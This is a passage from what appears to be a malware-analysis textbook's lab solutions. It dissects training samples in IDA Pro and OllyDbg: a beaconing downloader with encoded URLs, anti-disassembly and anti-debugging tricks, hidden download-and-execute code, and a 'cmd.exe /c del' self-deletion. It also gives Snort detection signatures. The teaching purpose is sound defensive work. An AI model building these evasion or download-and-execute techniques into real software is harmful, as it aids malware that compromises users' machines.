ment that is eventually passed all the way back to the InternetOpenUrlA func-
tion. Thus, we can conclude that autobat.exe is a configuration file that stores 
the URL in plaintext.

Having identified all of the source components of the beacon, navigate 
back to the original call to identify what can happen after some content is 
received. Following the InternetReadFile call at 0x004012C7, we see another 
call to strstr, with one of the parameters being <no. This strstr function sits 
within two loops, with the outer call containing the InternetReadFile call to 
obtain more data, and the inner call containing the strstr function and a 
call to another function (0x00401000), which is called when we find the <no 
string, and which we can presume is an additional test of whether we have 
found the correct content. This hypothesis is confirmed when we examine 
the internal function.

Figure 14-4L shows a test of the input buffer using a chain of small con-
nected blocks. The attacker has tried to disguise the string he is looking for 
by breaking the comparison into many small tests to eliminate the telltale 
comparison string. Additionally, notice that the required string (<noscript>) 
is mixed up in order to avoid producing an obvious pattern. The first three 
comparisons in Figure 14-4L are the n in position 0, the i in position 5, and 
the o in position 1.

Two large comparison blocks follow the single-byte comparisons. The 
first contains a search for the / character, as well as a string comparison 
(strstr) of two strings, both of which are passed in as arguments. With some 
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backtracking, it is clear that one of the arguments is the string that has been 
read in from the Internet, and the other is the URL that originally came 
from the configuration file. The search for the / is a backward search within 
the URL. Once found, the / is converted to a NULL to NULL-terminate the 
string. Essentially, this block is searching for the URL (minus the filename) 
within the returned buffer.

Figure 14-4L: Obfuscated string comparison

The second block is a search for the static string 96' starting at the end of 
the truncated URL. There are two paths at the bottom of the function: one 
representing a failure to find the desired characteristics and one represent-
ing success. Notice the large number of paths focused on the failure state 
(loc_401141). These paths represent an early termination of the search.

In summary, assuming that the default URL is being used, the filter func-
tion in this part of the code is looking for the following (the ellipsis after the 
noscript tag represents variable content):

<noscript>... http://www.practicalmalwareanalysis.comreturned_content96'

Now, let’s shift focus to what happens with the returned content. Return-
ing to WinMain, we see that the function at 0x00401684 immediately follows 
the Internet function (0x004011F3) and takes a similar parameter, which 
turns out to be the URL.

This is the decision function, which is confirmed by recognizing the 
switch structure that uses a jump table. Before the switch structure, strtok is 
used to divide the command content into two parts, which are put into two 
variables. The following is the disassembly that pulls the first character out of 
the first string and uses it for the switch statement:

004016BF         mov     ecx, [ebp+var_10]
004016C2         movsx   edx, byte ptr [ecx]
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004016C5         mov     [ebp+var_14], edx
004016C8         mov     eax, [ebp+var_14]
004016CB         sub     eax, 'd'

function at 0x00401372, which references CreateFile, WriteFile, and the same 
C:\\autobat.exe configuration file referenced earlier. From this evidence, we 
can infer that the intent of the 'r' function is to redirect the malware to a dif-
ferent beacon site by overwriting the configuration file.

Lastly, let’s look into the encoding function used for the redirect and 
download functions. We already know that once decoded, the contents are 
used as a URL. Examining the decoding function at 0x00401147, notice the 
loop in the lower-right corner. At the start of the loop is a call to strlen, 
which implies that the input is encoded in pieces. Examining the end of 
the loop, we see that before returning to the top, the variable containing 
the output (identified by its presence at the end of the function) is increased 
by one, while the source function is increased by two. The function takes two 
characters at a time from the source, turns them into a number (with the 
atoi function), and then uses that number as an index into the following 
string:

/abcdefghijklmnopqrstuvwxyz0123456789:.

Case 0 is the character 'd'. All other 
cases are greater than that value by 10, 14, 
and 15, which translates to 'n', 'r', and 
's'. The 'n' function is the easiest one to 
figure out, since it does nothing other 
than set a variable that causes the main 
loop to exit. The 's' function turns out to 
be sleep, and it uses the second part of the 
command directly as a number value for 
the sleep command. The 'r' and 'd' func-
tions are related, as they both pass the sec-
ond part of the command into the same 
function early in their execution, as shown 
in Figure 14-5L.

The 'd' function calls both 
URLDownloadToCacheFileA and CreateProcessA, 
and looks very much like the code from 
Lab 14-1. The URL is provided by the out-
put of the shared function in Figure 14-5L 
(0x00401147), which we can now assume 
is some sort of decoding function. The 'r' 
function also uses the encoding function, 
and it takes the output and uses it in the 

Figure 14-5L: Function graph 
showing the connection between 
the 'r' and 'd' commands
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While this string looks somewhat similar to a Base64 string, it doesn’t 
have capital letters, and it has only 39 characters. (A URL can be adequately 
described with only lowercase letters.) Given our understanding of the algo-
rithm, let’s encode the default URL for the malware with the encoding shown 
in Figure 14-6L.

Figure 14-6L: Example encoding of default URL with custom cipher

As you can see, any encoding of a URL that starts with http:// will always 
have the string 08202016370000.

Now, let’s use what we’ve learned to generate a suitable set of signatures 
for the malware. Overall, we have three kinds of communication: beacon 
packets, commands embedded in web pages, and a request to download and 
execute a file. Since the request to download is based entirely on the data 
that comes from the attacker, it is difficult to produce a signature for it.

Beacon

The beacon packet has the following structure:

GET /start.htm HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 
.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: www.practicalmalwareanalysis.com
Cache-Control: no-cache

The elements in italic are defined by the URL, and they can be ephem-
eral (though they should certainly be used if known). The bold elements are 
static and come from two different strings in the code (see Listing 14-5L). 
Since the attacker made a mistake by including an extra User-Agent:, the obvi-
ous signature to target is the specific User-Agent string with the additional 
User-Agent header:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"PM14.3.1 Specific 
User-Agent with duplicate header"; content:"User-Agent|3a20|User-Agent|3a20|
Mozilla/4.0|20|(compatible\;|20|MSIE|20|7.0\;|20|Windows|20|NT|20|5.1\;|20|
.NET|20|CLR|20|3.0.4506.2152\;|20|.NET|20|CLR|20|3.5.30729)"; http_header; 
sid:20001431; rev:1;)

h t t p : / / w w w . p r a c t i c a l

08 20 20 16 37 00 00 23 23 23 38 16 18 01 03 20 09 03 01 12

m a l w a r e a n a l y s i s . c o m / s t a r t . h t m

13 01 12 23 01 18 05 01 14 01 12 25 19 09 19 38 03 15 13 00 19 20 01 18 20 38 08 20 13
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Web Commands

The overall picture of the command provided by the web page is the following:

<noscript>... truncated_url/cmd_char.../arg96'

The malware searches for several static elements in the web page, includ-
ing the noscript tag, the first characters of the URL (http://), and the trailing 
96'. Since the parsing function that reads the cmd_char structure is in a differ-
ent area of the code and may be changed independently, it should be tar-
geted separately. Thus, the following is the signature for targeting just the 
static elements expected by the malware:

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PM14.3.2 Noscript 
tag with ending"; content:"<noscript>"; content:"http\://"; distance:0; 
within:512; content:"96'"; distance:0; within:512; sid:20001432; rev:1;)

The other section of code to target is the command processing. The 
commands accepted by the malware are listed in Table 14-2L.

The download and redirect functions both share the same routine to 
decode the URL (as shown in Figure 14-5L), so we will target these two 
commands together:

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PM14.3.3 Download 
or Redirect Command"; content:"/08202016370000"; pcre:"/\/[dr][^\/]*\/
08202016370000/"; sid:20001433; rev:1;)

This signature uses the string 08202016370000, which we previously identi-
fied as the encoded representation of http://. The PCRE rule option includes 
this string and forward slashes, and the d and r that indicate the download and 
redirect commands. The \/ is an escaped forward slash, the [dr] represents 
either the character d or r, the [^\/]* matches zero or more characters that 
are not a forward slash, and the \/ is another escaped slash.

The quit command by itself only has one known character, which is 
insufficient to target by itself. Thus, the last command we need to target is 
sleep, which can be detected with the following signature:

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PM14.3.4 Sleep 
Command"; content:"96'"; pcre:"/\/s[^\/]{0,15}\/[0-9]{2,20}96'/"; sid:20001434; 
rev:1;)

Table 14-2L: Malware Commands

Name Command Argument

download d Encoded URL

quit n NA

redirect r Encoded URL

sleep s Number of seconds
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Since there is no fixed content expression target to provide sufficient 
processing performance, we will use one element from outside the command 
string itself (the 96') to achieve an efficient signature. The PCRE identifies 
the forward slash followed by an s, then between 0 and 15 characters that are 
not a forward slash ('[^\/]{0,15}), a forward slash, and then between 2 and 
20 digits plus a trailing 96'.

Note that the upper and lower bounds on the number of characters 
that will match the regular expression are not being driven by what the 
malware will accept. Rather, they are determined by a trade-off between 
what is reasonably expected from an attacker and the costs associated with 
an unbounded regular expression. So while the malware may indeed be 
able to accept a sleep value of more than 20 digits, it is doubtful that the 
attacker would send such a value, since that translates to more than 3 tril-
lion years. The 15 characters for the term starting with an s assumes that 
the attacker would continue to choose a single word starting with s, though 
this value can certainly be increased if a more foolproof signature is needed.

Lab 15-1 Solutions

Short Answers
1. This program uses false conditional branches: an xor eax, eax, followed 

by jz.

2. The program tricks the disassembler into disassembling the opcode 0xE8, 
the first of a 5-byte call instruction, which immediately follows the jz 
instruction.

3. The false conditional branch technique is used five times in this program.

4. The command-line argument pdq will cause the program to print 
“Good Job!”

Detailed Analysis
First, we load the file into IDA Pro and scroll to the main function at address 
0x401000. A few lines from the start of the function, memory address 
0x0040100E, we see the first signs of anti-disassembly, as shown in Listing 15-1L.

00401006 83 7D 08 02                  cmp     dword ptr [ebp+8], 2
0040100A 75 52                        jnz     short loc_40105E
0040100C 33 C0                        xor     eax, eax
0040100E 74 01                        jz      short near ptr loc_401010+1 
00401010
00401010               loc_401010:                       ; CODE XREF:0040100Ej
00401010 E8 8B 45 0C 8B call    near ptr 8B4C55A0h

Listing 15-1L: jz jumping into the middle of a call instruction

As shown at , the jz instruction appears to be jumping into the middle 
of the 5-byte call instruction at . We must determine whether this branch 
will be executed. 
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The instruction immediately preceding this branch is xor eax, eax, which 
will always set the EAX register to zero, and thus always result in the zero flag 
being set. The jz instruction will therefore always jump at this point because 
the state of the zero flag is always known. We must alter the disassembly to 
show the real target of this jump instead of the fake call instruction that is 
overlapping it.

Position your cursor on line 0x00401010 and press the D key on your 
keyboard to turn the line into data, as shown in Listing 15-2L. Notice that 
the CODE XREF comment is no longer red but green, and the target of the jz 
instruction is no longer loc_401010+1 but unk_401011, as seen at .

0040100E 74 01                        jz      short near ptr unk_401011 
0040100E        ; --------------------------------------------------------------
00401010 E8                           db 0E8h
00401011 8B         unk_401011 db  8Bh ; ï      ; CODE XREF: 0040100Ej

Listing 15-2L: Converting the call instruction from Listing 15-1L to data

We can now modify the real target of the jz instruction. To do so, place 
your cursor at  and press the C key on your keyboard to turn this piece of 
data into code. The instructions immediately following the listing may be 
out of alignment, so keep pressing C on each db line that follows until each 
instruction is followed immediately by another instruction with no data 
bytes in between. 

The same false conditional technique is found again at offset 0x0040101F. 
Clean up the code at this location in the same manner to reveal another use 
of the false conditional technique at location 0x00401033. The final remain-
ing places to fix are 0x00401047 and 0x0040105E. 

Once all the code is disassembled correctly, select the code from line 
0x00401000 to the retn instruction at line 0x00401077, and press the P key 
on your keyboard to force IDA Pro to turn this block of code into a function. 
Once it is a function, rename the function parameters argc and argv. At this 
point, it should be clear at line 0x00401006 that the program checks to see if 
the value of argc is 2, and prints the failure string if it is not. If the value is 2, 
line 0x0040101A compares the first letter of argv[1] with p. Line 0x0040102E 
then compares the third letter with q, and 0x00401042 compares the second 
with d. If all three letters are equal, the string Good Job! is printed at line 
0x00401051.

Lab 15-2 Solutions

Short Answers
1. The URL initially requested is http://www.practicalmalwareanalysis.com/

bamboo.html. 

2. The User-Agent string is generated by adding 1 to each letter and num-
ber in the hostname (Z and 9 are rotated to A and 0).

3. The program looks for the string Bamboo:: in the page it requested.
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4. The program searches beyond the Bamboo:: string to find an additional ::, 
which it converts to a NULL terminator. The string in between Bamboo and 
the terminator is downloaded to a file named Account Summary.xls.exe 
and executed.

Detailed Analysis
Open the binary with IDA Pro and scroll to the main function at offset 
0x00401000. We will begin with disarming this function by reading it top to 
bottom, fixing each countermeasure until we reach the logical end of the 
function. The first countermeasure we encounter is shown in Listing 15-3L 
at address 0x0040115A.

0040115A           test    esp, esp
0040115C           jnz     short near ptr loc_40115E+1 
0040115E
0040115E loc_40115E:                             ; CODE XREF: 0040115Cj
0040115E           jmp     near ptr 0AA11CDh 
0040115E ; ----------------------------------------------------------------------
00401163            db 6Ah
00401164            dd 0E8006A00h, 21Ah, 5C858B50h, 50FFFEFDh, 206415FFh, 85890040h
00401164            dd 0FFFFFD64h, 0FD64BD83h, 7400FFFFh, 0FC8D8D24h, 51FFFFFEh

Listing 15-3L: False conditional

The listing shows a false conditional used by the jnz instruction at . 
The jump will always be taken because the value of ESP will always be non-
zero at this point in the program. The ESP register is never loaded with a spe-
cific value, but it must be nonzero for a normal functioning Win32 application.

The target of the jump lies within the 5-byte jmp instruction at . Turn 
this instruction into data by putting your cursor at  and pressing D on the 
keyboard. Then put your cursor on the jump target line 0x0040115F and 
press C to turn the line into code. 

We continue reading the code until we encounter the anti-disassembly 
countermeasure at line 0x004011D0. This is a simple false conditional based 
on a jz following an xor eax, eax instruction. Correct this disassembly in the 
same fashion as in Lab 15-1. Be sure to continue turning bytes into code so it 
reads clearly. Continue reading the code until you come to the next counter-
measure at line 0x00401215, which is shown in Listing 15-4L.

00401215 loc_401215:                             ; CODE XREF: loc_401215j
00401215 EB FF           jmp     short near ptr loc_401215+1 

Listing 15-4L: jmp into itself

At  is a 2-byte jmp instruction whose target is the second byte of itself. 
The second byte is the first byte of the next instruction. Turn this instruction 
into data and put your cursor on the second byte, location 0x00401216, and 
turn it into code. To force IDA Pro to produce a clean graph, turn the first 
byte of the jmp instruction (0xEB) into a NOP. If you are using the commercial 
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version of IDA Pro, select FilePython command, enter PatchByte(0x401215, 
0x90) into the text box, and click OK. Now put your cursor on the location 
0x00401215, which should contain the value db 90h, and convert it to code by 
pressing the C key. 

Continue reading the code until you reach the next countermeasure at 
line 0x00401269, which is shown in Listing 15-5L.

00401269                 jz      short near ptr loc_40126D+1 
0040126B                 jnz     short near ptr loc_40126D+1 
0040126D
0040126D loc_40126D:                             ; CODE XREF: 00401269j
0040126D                                         ; 0040126Bj
0040126D                 call    near ptr 0FF3C9FFFh 

Listing 15-5L: False conditionals with the same target

Listing 15-5L shows a false conditional based on putting both halves of a 
conditional branch back-to-back ( and ) and pointing at the same target. 
The same target for jnz and jz means that the countermeasure does not 
depend on a specific state of the zero flag as either set or unset in order to hit 
the target code. In this case, the target is in the middle of the call instruction 
on line 0x0040126D at . Convert this instruction to data by pressing the D 
key on the keyboard. Then put your cursor on line 0x0040126E to convert it 
to code with the C key. 

Continue reading the code until you reach the next countermeasure at 
line 0x004012E6, which is shown in Listing 15-6L.

004012E6                loc_4012E6:                     ; CODE XREF: 004012ECj
004012E6 66 B8 EB 05                    mov     ax, 5EBh 
004012EA 31 C0                          xor     eax, eax
004012EC 74 FA                          jz      short near ptr loc_4012E6+2 
004012EE E8 6A 0A 6A 00                 call    near ptr 0AA1D5Dh

Listing 15-6L: False conditionals into the middle of the previous instruction

Listing 15-6L shows an advanced countermeasure that involves a false 
conditional jump into the middle of a previous instruction as seen with the 
upward-jumping jz at . This jumps into the middle of the mov instruction 
at . 

It is impossible to have the disassembler show all the instructions that 
are executed in this case because the opcodes are used twice, so just follow 
the code logically and convert each instruction to code as you reach it. 
When you are finished with this countermeasure, it should look like the 
code in Listing 15-7L. At , we see the middle of the mov instruction from 
the previous listing converted to a proper jmp instruction.

004012E6 66                             db 66h
004012E7 B8                             db 0B8h ; +
004012E8            ; ------------------------------------------------------------
004012E8
004012E8                loc_4012E8:               ; CODE XREF: 004012ECj
648 Appendix C



1 5
004012E8 EB 05                          jmp     short loc_4012EF 
004012EA            ; ------------------------------------------------------------
004012EA 31 C0                          xor     eax, eax
004012EC 74 FA                          jz      short loc_4012E8
004012EC            ; ------------------------------------------------------------
004012EE E8                             db 0E8h 
004012EF            ; ------------------------------------------------------------
004012EF
004012EF                loc_4012EF:              ; CODE XREF: loc_4012E8j
004012EF 6A 0A                          push    0Ah

Listing 15-7L: Manually repaired anti-disassembly code

You can convert all the extra db bytes (like the one shown at ) to NOPs 
using the IDA Python PatchByte option described after Listing 15-4L. This 
will allow you to create a proper function within IDA Pro. To create a func-
tion, after patching the NOPs, select all the code from the retn instruction on 
line 0x0040130E to the beginning of the function at 0x00401000, and press 
the P key. To view the resulting function graphically, press the spacebar.

The two functions (sub_4012F2 and sub_401369) immediately follow the main 
function. Each builds a string on the stack, duplicating it to the heap with 
strdup, and returns a pointer to the heap string. The malware author crafted 
this function to build the string so that it will not show up as a plaintext string 
in the binary, but will appear only in memory at runtime. The first of these 
two functions produces the string http://www.practicalmalwareanalysis.com/
bamboo.html, and the second produces the string Account Summary.xls.exe. 
Having defeated all the anti-disassembly countermeasures in the main func-
tion, these functions should show cross-references to where they are called 
from the main function. Rename these functions buildURL and buildFilename 
by putting your cursor on the function name and pressing the N key on the 
keyboard.

Listing 15-8L shows the call to buildURL (our renamed function) at . 

0040115F                 push    0
00401161                 push    0
00401163                 push    0
00401167                 push    0
0040116C                 call    buildURL 
0040116D                 push    eax
00401173                 mov     edx, [ebp+var_10114]
00401174                 push    edx
0040117A                 call    ds:InternetOpenUrlA 

Listing 15-8L: Opening the http://www.practicalmalwareanalysis.com/bamboo.html URL

Reading the code further, we see that it attempts to open the bamboo.html 
URL returned from buildURL at  using InternetOpenUrlA. In order to determine 
the User-Agent string used by the malware when calling the InternetOpenUrlA 
function, we need to first find the InternetOpen function call and determine 
what data is passed to it. Earlier in the function, we see InternetOpenA called, 
as shown in Listing 15-9L.
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0040113F                 push    0
00401141                 push    0
00401143                 push    0
00401145                 push    1
00401147                 lea     ecx, [ebp+name] 
0040114D                 push    ecx 
0040114E                 call    ds:InternetOpenA

Listing 15-9L: Setting up the connection via InternetOpenA

The first argument to InternetOpenA at  is the User-Agent string. ECX is 
pushed as this argument, and the lea instruction loads it with a pointer to a 
location on the stack. IDA Pro’s stack frame analysis has named this location 
name, as seen at . We must scroll up in the function to see where name is get-
ting populated. Near the beginning of the function, shown in Listing 15-10L, 
we see a reference to the name location at .

00401047                 push    100h            ; namelen
0040104C                 lea     eax, [ebp+name] 
00401052                 push    eax             ; name
00401053                 call    ds:gethostname 

Listing 15-10L: Using gethostname to get the local machine’s name

The gethostname function will populate a buffer with the hostname of the 
local machine. Based on Listing 15-10L, you might be tempted to conclude 
that the User-Agent string will be the hostname, but you would be only par-
tially correct. In fact, careful examination of the code between locations 
0x00401073 and 0x0040113F (not shown here) reveals a loop that is respon-
sible for modifying each letter or number within the hostname by increment-
ing it by one before using it as the User-Agent. (The letter and number at the 
end, Z and 9, are reset to A and 0.) 

Following the call to InternetOpenA and the first call to InternetOpenUrlA, 
the data (an HTML web page) is downloaded to a local buffer with a call to 
InternetReadFile, as shown in Listing 15-11L at . The buffer to contain the 
data is the second argument, which has been named automatically by IDA 
Pro as Str at . A few lines down in the function, we see the Str buffer 
accessed again at .

0040118F                 push    eax
00401190                 push    0FFFFh
00401195                 lea     ecx, [ebp+Str] 
0040119B                 push    ecx
0040119C                 mov     edx, [ebp+var_10C]
004011A2                 push    edx
004011A3                 call    ds:InternetReadFile 
...
004011D5                 push    offset SubStr   ; "Bamboo::"
004011DA                 lea     ecx, [ebp+Str] 
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004011E0                 push    ecx             ; Str
004011E1                 call    ds:strstr 

Listing 15-11L: Reading and parsing the downloaded HTML 

The strstr function at  is used to find a substring within a larger string. 
In this case, it is finding the string Bamboo:: within the buffer Str, which con-
tains all the data we retrieved from the initial URL. The code immediately 
following the strstr call is shown in Listing 15-12L.

004011E7                 add     esp, 8
004011EA                 mov     [ebp+var_108], eax 
004011F0                 cmp     [ebp+var_108], 0
004011F7                 jz      loc_401306
004011FD                 push    offset asc_40303C ; "::"
00401202                 mov     edx, [ebp+var_108]
00401208                 push    edx             ; Str
00401209                 call    ds:strstr 
0040120F                 add     esp, 8
00401212                 mov     byte ptr [eax], 0 
...
00401232                 mov     eax, [ebp+var_108]
00401238                 add     eax, 8 
0040123E                 mov     [ebp+var_108], eax

Listing 15-12L: Parsing a string separated by Bamboo:: and ::

As you can see, the pointer to the string Bamboo:: found within the down-
loaded HTML is stored in var_108 at . A second call to strstr, seen at , is 
called to search for the next ::. Once two colons are found, the code at  
replaces the first colon with a NULL, which is designed to terminate the 
string that is contained in between Bamboo:: and ::.

 The pointer stored at var_108 is incremented by eight at . This hap-
pens to be the exact string length of Bamboo::, which is what the pointer is ref-
erencing. After this operation, the pointer will reference whatever followed 
the colons. Since the code already found the trailing colons and substituted 
them with a NULL, we now have a proper NULL-terminated string for what-
ever was in between Bamboo:: and :: stored in var_108. 

Immediately following the string-parsing code, we see var_108 used at  
in Listing 15-13L. 

00401247                 push    0
00401249                 push    0
0040124B                 push    0
0040124D                 push    0
0040124F                 mov     ecx, [ebp+var_108] 
00401255                 push    ecx
00401256                 mov     edx, [ebp+var_10114]
0040125C                 push    edx
0040125D                 call    ds:InternetOpenUrlA

Listing 15-13L: Opening another URL in order to download more malware
Solu t ions to Labs 651



The second argument (var_108) to InternetOpenUrlA is the URL to open. 
Therefore, the data in between the Bamboo:: and the trailing colons is intended 
to be a URL for the program to download. Analysis of the code between lines 
0x0040126E and 0x004012E3 (not shown here), reveals that the URL opened 
in Listing 15-13L is downloaded to the file Account Summary.xls.exe, which is 
then launched by a call to ShellExecute on line 0x00401300.

Lab 15-3 Solutions

Short Answers
1. The malicious code is initially called by overwriting the return pointer 

from the main function.

2. The malicious code downloads a file from a URL and launches it with 
WinExec.

3. The URL used by the program is http://www.practicalmalwareanalysis.com/
tt.html.

4. The filename used by the program is spoolsrv.exe.

Detailed Analysis
Quickly examining this binary, it initially seems to be a process-listing tool. You 
might have also noticed a few suspicious imports, such as URLDownloadToFile and 
WinExec. If you scrolled near the bottom of the code in IDA Pro, just before the 
C runtime library code, you may have even noticed where these suspicious 
functions are called. This code does not seem to be a part of the program at 
all. There is no reference to it, and much of it isn’t even disassembled. 

Scroll to the top of the main function and examine the lines of disassem-
bly, as shown in Listing 15-14L.

0040100C                 mov     eax, 400000h 
00401011                 or      eax, 148Ch 
00401016                 mov     [ebp+4], eax 

Listing 15-14L: Calculating an address and loading it on the stack

This code builds the value 0x0040148C by ORing 0x400000  and 0x148C  
together and storing it in EAX. The code loads that value to some location 
on the stack relative to EBP at . You can press CTRL-K to bring up a stack 
frame view of the current function to see that offset 4 points to the return 
address. By overwriting the return address, when the main function ends, the 
orphaned code at 0x0040148C will execute instead of the normal process-
termination code in the C runtime library. 

The start of the code at 0x0040148C is not identified by IDA Pro as being 
part of a function, as shown in Listing 15-15L.
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0040148C                 push    ebp
0040148D                 mov     ebp, esp
0040148F                 push    ebx
00401490                 push    esi
00401491                 push    edi
00401492                 xor     eax, eax
00401494                 jz      short near ptr loc_401496+1 
00401496
00401496 loc_401496:                             ; CODE XREF: 00401494j
00401496                 jmp     near ptr 4054D503h 

Listing 15-15L: The orphaned code assembled at 0x40148C

This orphaned code begins as a normal function, but then we encounter 
an anti-disassembly countermeasure in the form of a false conditional at . 
Here, the jz instruction will always jump. The target of the jump is 0x00401497, 
which is currently not shown in the disassembly because it is the second byte 
of a 5-byte jmp instruction shown at . Place your cursor on the jmp instruc-
tion at  and press the D key to turn it into data. Then place your cursor on 
line 0x00401497 and press C to turn it into code. 

Once 0x00401497 is disassembled correctly, the next block of code you 
will see is shown in Listing 15-16L.

00401497                 push    offset dword_4014C0
0040149C                 push    large dword ptr fs:0
004014A3                 mov     large fs:0, esp
004014AA                 xor     ecx, ecx
004014AC                 div     ecx 
004014AE               push    offset aForMoreInforma ; "For more information..."
004014B3               call    printf

Listing 15-16L: Building an exception handler and triggering an exception

The lines at  and  are placed there solely to pose as a decoy; they will 
never be executed. The first five lines of this fragment build an exception 
handler and trigger a divide-by-zero exception at . (The ECX will always be 
zero because of the xor ecx,ecx in the previous instruction.) 

The location handling the exception is 0x004014C0, as shown in List-
ing 15-17L.

004014C0 dword_4014C0    dd 824648Bh, 0A164h, 8B0000h, 0A364008Bh, 0
004014C0                                         ; DATA XREF: loc_401497o
004014D4                 dd 0EB08C483h, 0E848C0FFh, 0

Listing 15-17L: The exception-handling code currently defined as data

IDA Pro did not recognize the data in Listing 15-17L as code, and has 
chosen instead to represent it as a series of DWORDs. Place your cursor on the 
first DWORD and press the C key to change this into code.
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After successfully changing the data in Listing 15-17L to code, it is dis-
played as shown in Listing 15-18L.

004014C0                 mov     esp, [esp+8]
004014C4                 mov     eax, large fs:0
004014CA                 mov     eax, [eax]
004014CC                 mov     eax, [eax]
004014CE                 mov     large fs:0, eax
004014D4                 add     esp, 8
004014D7                 jmp     short near ptr loc_4014D7+1 

Listing 15-18L: Properly disassembled exception-handling code

The code in Listing 15-18L unlinks the structured exception handler 
and removes the exception record from the stack. The last line of the code is 
an anti-disassembly countermeasure in the form of an inward-pointing jmp 
instruction at . Convert the jmp to data by placing your cursor at 0x4014D7 
and pressing the D key. Then select line 0x004014D8 and convert it to code 
with the C key. 

After correcting the anti-disassembly countermeasure shown in Listing 15-
18L, we see that the rest of the code is properly disassembled with a call to 
URLDownloadToFileA, seen at  in Listing 15-19L.

004014E6                 push    offset unk_403010
004014EB                 call    sub_401534 
004014F0                 add     esp, 4
004014F3                 push    offset unk_403040
004014F8                 call    sub_401534 
004014FD                 add     esp, 4
00401500                 push    0
00401502                 push    0
00401504                 push    offset unk_403040 
00401509                 push    offset unk_403010 
0040150E                 push    0
00401510                 call    URLDownloadToFileA 

Listing 15-19L: Downloading a file from a URL

The second and third arguments to URLDownloadToFileA are the URL and 
filename, respectively. It seems that the global memory locations unk_403010 
and unk_403040 are being used at  and , respectively. If you examine this 
memory with IDA Pro, the data does not appear to be ASCII text. These same 
locations are also passed to sub_401534 at  and . We should examine this 
function to see if it decodes this data. Careful analysis of this function (not 
shown here) will find that it takes a pointer to a buffer and modifies it in 
place by XOR’ing each byte with the value 0xFF. If we XOR the data at 
unk_403010, we get the strings http://www.practicalmalwareanalysis.com/tt.html 
and spoolsrv.exe for unk_403040.

Immediately following the call to URLDownloadToFileA, we encounter one 
last anti-disassembly countermeasure, as shown in Listing 15-20L. This is a 
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false conditional in the form of a combination of jz and jnz together to 
create an unconditional jump, at  and .

00401515                 jz      short near ptr loc_401519+1 
00401517                 jnz     short near ptr loc_401519+1 
00401519
00401519 loc_401519:                             ; CODE XREF: 00401515j
00401519                                         ; 00401517j
00401519                 call    near ptr 40A81588h
0040151E                 xor     [eax+0], al
00401521                 call    ds:WinExec

Listing 15-20L: The final anti-disassembly technique encountered in the malware

The target of the jumps is 0x0040151A. Place your cursor on line 
0x00401519 and press D to turn this line into data. Then select line 
0x0040151A and press C to turn it into code. Continue this process 
until you are left with the code shown in Listing 15-21L.

0040151A                 push    0
0040151C                 push    offset unk_403040
00401521                 call    ds:WinExec 
00401527                 push    0
00401529                 call    ds:ExitProcess

Listing 15-21L: Using WinExec to launch the downloaded file

The call to WinExec at  will launch whatever is specified by the buffer 
unk_403040, which will contain the value spoolsrv.exe. The program then ter-
minates manually with ExitProcess.

Lab 16-1 Solutions

Short Answers
1. The malware checks the status of the BeingDebugged, ProcessHeap, and 

NTGlobalFlag flags to determine if it is being run in a debugger.

2. If any of the malware’s anti-debugging techniques succeed, it will termi-
nate and remove itself from disk.

3. You can manually change the jump flags in OllyDbg during runtime, but 
doing so will get tedious since this malware checks the memory struc-
tures so frequently. Instead, modify the structures the malware checks in 
memory either manually or by using an OllyDbg plug-in like PhantOm 
or the Immunity Debugger (ImmDbg) PyCommand hidedebug.

4. See the detailed analysis for a step-by-step way to dump and modify the 
structures in OllyDbg. 

5. Both the OllyDbg plug-in PhantOm and the ImmDbg PyCommand 
hidedebug will thwart this malware’s checks.
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Detailed Analysis
As noted in the lab description, this malware is the same as Lab09-01.exe, 
except with anti-debugging techniques. Therefore, a good place to start is 
either by working through Lab 9-1 or by reviewing your answers.

When we load this malware into OllyDbg, we see that it attempts to delete 
itself. Suspecting that something must be wrong or that this malware is signifi-
cantly different from Lab 9-1, we load Lab16-01.exe into IDA Pro. As shown in 
Figure 16-1L, we notice that the beginning of the main method appears suspi-
cious because of several accesses of fs:[30] and calls to a function that IDA Pro 
identifies as one that doesn’t return. In fact, most functions recognized by IDA 
Pro have this suspicious start. (None of the functions in Lab 9-1 have this code.)

Figure 16-1L: Anti-debugging checks contained at the beginning of most functions in 
Lab 16-1

We see at , , and  in Figure 16-1L that sub_401000 is called and the 
code stops there (no lines leave the boxes). Since a line doesn’t leave the 
box, it means the function probably terminates the program or doesn’t con-
tain a ret instruction. Each large box in Figure 16-1L contains a check that 
decides whether sub_401000 will be called or the malware will continue to exe-
cute normally. (We’ll analyze each of these checks after we look at sub_401000.)

The function sub_401000 is suspicious because execution won’t return 
from it, so we examine it further. Listing 16-1L shows its final instructions. 

�

�

�
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004010CE         lea     eax, [ebp+Parameters]
004010D4         push    eax                     ; lpParameters
004010D5         push    offset File             ; "cmd.exe"
004010DA         push    0                       ; lpOperation
004010DC         push    0                       ; hwnd
004010DE         call    ds:ShellExecuteA 
004010E4         push    0                       ; Code
004010E6         call    _exit 

Listing 16-1L: Function sub_401000 with code to terminate the malware and remove it 
from disk

Function sub_401000 ends at  with a call to _exit, terminating the 
malware. The call to ShellExecuteA at  removes the malware from disk by 
launching cmd.exe using the parameters /c del Lab16-01.exe. Checking the 
cross-references to sub_401000, we find 79 of them, most of which come from 
the anti-debugging code shown in Figure 16-1L. Let’s dissect Figure 16-1L 
in more detail.

The BeingDebugged Flag

Listing 16-2L shows the code in the top box of Figure 16-1L. 

00403554         mov     eax, large fs:30h 
0040355A         mov     bl, [eax+2] 
0040355D         mov     [ebp+var_1820], bl
00403563         movsx   eax, [ebp+var_1820]
0040356A         test    eax, eax 
0040356C         jz      short loc_403573 
0040356E         call    sub_401000

Listing 16-2L: Checking the BeingDebugged flag 

As you can see, the PEB structure is loaded into EAX at  using the 
fs:[30] location, as discussed in “Manually Checking Structures” on page 353. 
At , the second byte is accessed and moved into the BL register. At , the 
code decides whether to call sub_401000 (the terminate and remove function) 
or to continue running the malware.

The BeingDebugged flag at offset 2 in the PEB structure is set to 1 when the 
process is running inside a debugger, but we need this flag set to 0 in order 
for the malware to run normally within a debugger. We can set this byte to 0 
either manually or with an OllyDbg plug-in. Let’s do it manually first.

